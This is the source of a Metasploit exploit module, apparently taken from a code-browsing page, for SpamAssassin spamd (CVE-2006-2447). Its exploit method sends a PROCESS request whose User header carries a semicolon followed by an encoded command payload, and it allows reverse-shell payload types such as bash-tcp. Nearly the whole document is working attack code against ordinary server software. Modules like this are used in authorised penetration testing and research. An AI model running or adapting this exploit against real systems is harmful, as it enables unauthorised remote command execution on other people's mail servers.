Path: blob/master/modules/exploits/unix/misc/spamassassin_exec.rb
19719 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'SpamAssassin spamd Remote Command Execution',15'Description' => %q{16This module exploits a flaw in the SpamAssassin spamd service by specifying17a malicious vpopmail User header, when running with vpopmail and paranoid18modes enabled (non-default). Versions prior to v3.1.3 are vulnerable19},20'Author' => [ 'aushack' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2006-2447' ],24[ 'OSVDB', '26177' ],25[ 'BID', '18290' ],26[ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],27],28'Privileged' => false,29'Payload' => {30'DisableNops' => true,31'Space' => 1024,32'Compat' =>33{34'PayloadType' => 'cmd cmd_bash',35'RequiredCmd' => 'generic perl ruby bash-tcp telnet',36}37},38'Platform' => 'unix',39'Arch' => ARCH_CMD,40'Targets' => [41[ 'Automatic', {}],42],43'DisclosureDate' => '2006-06-06',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55Opt::RPORT(783)56]57)58end5960def exploit61connect6263content = Rex::Text.rand_text_alpha(20)6465sploit = "PROCESS SPAMC/1.2\r\n"66sploit << "Content-length: #{(content.length + 2)}\r\n"67sploit << "User: ;#{payload.encoded}\r\n\r\n"68sploit << content + "\r\n\r\n"6970sock.put(sploit)7172handler73disconnect74end75end767778